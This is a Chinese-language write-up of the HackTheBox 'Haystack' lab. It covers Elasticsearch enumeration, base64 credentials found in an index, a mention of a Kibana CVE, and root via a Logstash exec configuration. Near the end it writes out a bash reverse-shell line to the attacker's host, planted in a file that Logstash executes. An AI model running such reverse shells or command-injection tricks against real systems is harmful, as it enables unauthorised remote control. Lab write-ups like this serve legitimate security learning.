靶机渗透_hackthebox__haystack -4

获得靶机IP 10.10.10.115

nmap 扫一下

nmap -A IP
得到三个开放端口

Nmap scan report for bogon (10.10.10.115)
Host is up (0.28s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: storage-misc|specialized|general purpose|WAP|webcam
Running (JUST GUESSING): HP embedded (89%), Crestron 2-Series (89%), Linux 3.X|2.6.X (88%), Asus embedded (86%), AXIS embedded (86%)
OS CPE: cpe:/h:hp:p2000_g3 cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:3.16 cpe:/h:asus:rt-n56u cpe:/o:linux:linux_kernel:3.4 cpe:/o:linux:linux_kernel:2.6.17 cpe:/h:axis:210a_network_camera cpe:/h:axis:211_network_camera
Aggressive OS guesses: HP P2000 G3 NAS device (89%), Crestron XPanel control system (89%), Linux 3.16 (88%), ASUS RT-N56U WAP (Linux 3.4) (86%), Linux 3.1 (86%), Linux 3.2 (86%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops

得到三个端口 80里面只有一个图片 

9200 是一个接口 仔细查看了一下信息

{
  "name" : "iQEYHgS",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
  "version" : {
    "number" : "6.4.2",
    "build_flavor" : "default",
    "build_type" : "rpm",
    "build_hash" : "04711c2",
    "build_date" : "2018-09-26T13:34:09.098244Z",
    "build_snapshot" : false,
    "lucene_version" : "7.4.0",
    "minimum_wire_compatibility_version" : "5.6.0",
    "minimum_index_compatibility_version" : "5.0.0"
  },
  "tagline" : "You Know, for Search"
}

 

网上搜索了一下相关信息  

ElasticSearch搜索引擎

用于主机信息搜集的ELK 这个是其中一个节点 一般这个端口只开放在内网 配置错误导致外网也可以访问

elasticsearch 相关知识内容比较多 渗透的时候也只是简单的学习了一下信息搜索的一些内容

http://10.10.10.115:9200/_cat
=^.^=
/_cat/allocation
/_cat/shards
/_cat/shards/{index}
/_cat/master
/_cat/nodes
/_cat/tasks
/_cat/indices
/_cat/indices/{index}
/_cat/segments
/_cat/segments/{index}
/_cat/count
/_cat/count/{index}
/_cat/recovery
/_cat/recovery/{index}
/_cat/health
/_cat/pending_tasks
/_cat/aliases
/_cat/aliases/{alias}
/_cat/thread_pool
/_cat/thread_pool/{thread_pools}
/_cat/plugins
/_cat/fielddata
/_cat/fielddata/{fields}
/_cat/nodeattrs
/_cat/repositories
/_cat/snapshots/{repository}
/_cat/templates

可以利用的url
http://101.198.161.130:9200/_cat/indices/
http://101.198.161.130:9200/_plugin/head/
http://101.198.161.130:9200/_nodes
http://101.198.161.130:9200/_nodes?prettify
http://101.198.161.130:9200/_status
http://101.198.161.130:9200/_search?pretty
http://10.203.9.131:9200/zjftu/
http://10.203.9.131:9200/zjftu/_search?pretty

但是对elasticsearch 可以通过get post方式进行交互与查询
常用的就是上面的几种了解信息的一些uri
在elasticsearch中

index 对应关系型数据库中的数据库
type 对应表
所以在这次渗透中查看过index 之后
就是翻数据了真的像是大海捞针

http://10.10.10.115:9200/quotes/_search?q=needle&pretty=true
在80端口中有张图片名称为needle 
尝试在数据库中搜索了以下于是出现一个词与机器名称相同（这里应该是一个提示 并且那张图片在cat needle 之后在结尾发现一串base64 的数据 解码之后 是一个提示 凭证应该就在数据库里）
嗯密码就在这个Index中遍历吧
http://10.10.10.115:9200/quotes/quote/2?pretty=true
There's a needle in this haystack, you have to search for it

应该是因为分布式的原因或者其他问题 在搜索所有数据的时候只能显示一部分 id 值并不连续

所以没办法一条条查找 （网上应该有转储的脚本但是我没有 去找也没写脚本太懒 觉得数据不会很多（后来才发现）几十条也不少了）

库不大253条数据左右一点点看 

45条的时候有一个关键的地方（全程自动翻译不然鬼知道是啥）
直到http://10.10.10.115:9200/quotes/quote/45?pretty=true
{
  "_index" : "quotes",
  "_type" : "quote",
  "_id" : "45",
  "_version" : 1,
  "found" : true,
  "_source" : {
    "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
  }
}
加密方式为base64
解码结果user: security 
继续查找
http://10.10.10.115:9200/quotes/quote/111?pretty=true
{
  "_index" : "quotes",
  "_type" : "quote",
  "_id" : "111",
  "_version" : 1,
  "found" : true,
  "_source" : {
    "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
  }
}
解密后为：pass: spanish.is.key
okssh 连接吧
user flag：
04d18bc79dac1d4d48ee0a940c8eb929

获得shell之后开始检查 lin脚本枚举没有发现什么东西
到论坛逛了一圈 进入之前做的事情?
然后有一个关于elk技术栈的问题
还是elasticsearch 服务上的问题或者一些插件的bug
想起在最初扫描到9200端口之后查找的一些漏洞有一个
CVE-2018-17246
不过是本地漏洞  可能是一个线索 而且论坛里 经常会说elk 的一些问题 那漏洞应该也是在这个服务上 

拿到的用户并没有什么权限 而且一些相关配置文件也没有权限 所以CVE-2018-17246 的作用就来了

已经有了shell 提升一下权限 获得kibana 
找到之前的文章测试了以下 运气不好加上是晚上网络也不好
只有一次成功
whoami kibana 
ok 有什么信息只能明天在看看了
网络确实块炸了 一个字母过几秒才反应
趁机学以下这块的知识吧

检查文件
/usr/share/kibana/optimize/.babelcache.json
/etc/rc.d/init.d 中的readme

elk 安装目录 应该是/usr/share/  

[-] /etc/rc.d/init.d binary permissions:
total 48
drwxr-xr-x.  2 root root   105 ene 23 11:55 .
drwxr-xr-x. 10 root root   127 oct 30  2018 ..
-rwxr-x---.  1 root root  4080 sep 26  2018 elasticsearch
-rw-r--r--.  1 root root 18281 ago 24  2018 functions
-rwxr-xr-x.  1 root root  3524 sep 26  2018 kibana
-rwxr-xr-x.  1 root root  4569 ago 24  2018 netconsole
-rwxr-xr-x.  1 root root  7923 ago 24  2018 network
-rw-r--r--.  1 root root  1160 oct 30  2018 README

上面的一些过程并没有发现有价值的东西
逛了几遍论坛 什么三个文件 然后从安全用户到root 需要两步走
但是没有头绪确实是这样
从论坛的收获很大（渗透的大致方向是对的）
知道了在这个靶机的学习方向
ELK ElasticSearch logstash and kibana 
获得root是一路过去于是最初看了ElasticSear的语法教程了解一些查询
获得shell之后通过本地kibana 本地漏洞获得了一些目录文件的权限
在opt/文件下有一个 kibana 文件最初看到的时候以为是一个安装目录 但是不明白为什么
是空的之后就放到了一边（是空的感觉没什么信息价值 ）
然后跑到/usr/share/kibana 文件去读看看有没有什么信息 虽然文件多信息也多
但是没鸟用

又逛了几遍论坛 还是没感觉
了解一下elk吧

看了几篇文章之后：elk 一个系统日志采集 处理 分析 输出的一个分布式的系统
其中logstash分为客户端服务器端
客户端采集数据交给elasticsearch（可以用其他工具采集后 将其交给logstash）
之后保存 分析交给kibana 
kibana 有一个web客户端 5601 上面CVE 利用的就是这个端口 而且这个端口是本地或者内网的
ElasticSearch 9200
节点之间交流通过9600
之前ps -ef |grep root 
有一个特别显眼的进程 老长的一个命令 
最初没有在意（因为太长而且 最开始是 /bin/java ）
之后 在阅读一个文章时看到过一个xmx1g而这个是 xm500m ok 
之后仔细看了一下 里面有很多logstash 的.jar 包
提权到root 的地方应该就是logstash了

查看一下logstash 配置信息

https://doc.yonyoucloud.com/doc/logstash-best-practice-cn/output/email.html
这个连接有详细的logstash 配置讲解
配置文件路径 /etc/logstash/*.conf/input|output|fillter
输入 输出 过滤器
查看日志输入配置文件 （最初查看组件的配置文件并没有仔细去看每一个文件 ）
输入路径 /opt/kibana/logstash_*
ok 就是他
找到了输入部分但是需要找到在输入之后作为命令执行 网炸了明天在做吧哎

感觉应该是ouput 或者fillter 配置文件有设置
（论坛里的三个文件嘿嘿应该就是这三个了 一个exp 另外两个配置文件）

logstash 三个配置文件

bash-4.2$ cat filter.conf
filter {
    if [type] == "execute" {
        grok {
            match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
        }
    }
}

GREEDYDATA  .* 上面GREEDYDATA的正则表达式 

bash-4.2$ cat input.conf
input {
    file {
        path => "/opt/kibana/logstash_*"
        start_position => "beginning"
        sincedb_path => "/dev/null"
        stat_interval => "10 second"
        type => "execute"
        mode => "read"
    }
}

 

bash-4.2$ cat output.conf
output {
    if [type] == "execute" {
        stdout { codec => json }
        exec {
            command => "%{comando} &"
        }
    }
}

bash-4.2$ ls -al
total 12
drwxrwxr-x. 2 root kibana  62 jun 24 08:12 .
drwxr-xr-x. 3 root root   183 jun 18 22:15 ..
-rw-r-----. 1 root kibana 131 jun 20 10:59 filter.conf
-rw-r-----. 1 root kibana 186 jun 24 08:12 input.conf
-rw-r-----. 1 root kibana 109 jun 24 08:12 output.conf

因该是从/opt/kibana/logstash_*  读取文件内容并按照上面的

并且类型是 execute 

过滤器 将需要执行的命令过滤出来 message 语法格式进行简单过滤

output 配置文件将 过滤后的内容提交到execute 并且是在后台执行

json 代码格式 

 

获得shell
经过上面的三个配置文件
在 /opt/kibana/ 下创建 logstash_*文件 
注意语法  json的转义字符需要注意
Ejecutar  comando   :  bash -i >& \/dev\/tcp\/10.10.14.251\/8889 0>&1
但是上面这个命令没有成功获得shell 之后一次忘记在端口前面的/转义然后成功返回shell
Ejecutar  comando   :  bash -i >& \/dev\/tcp\/10.10.14.251/8889 0>&1
这个命令成功反弹了shell root 权限

反弹时间可能需要等待一会 

pspy
https://github.com/DominicBreuker/pspy 
没有特权的linux 进程窥探 可以查看其他用户的执行了哪些命令
虽然这个程序在这个靶机中没有获得什么有价值的东西

服务程序的配置 没有及时打补丁 以及 服务的开放端口
 内外网 配置错误

以及危险的信息采集并执行命令的漏洞 是提权的关键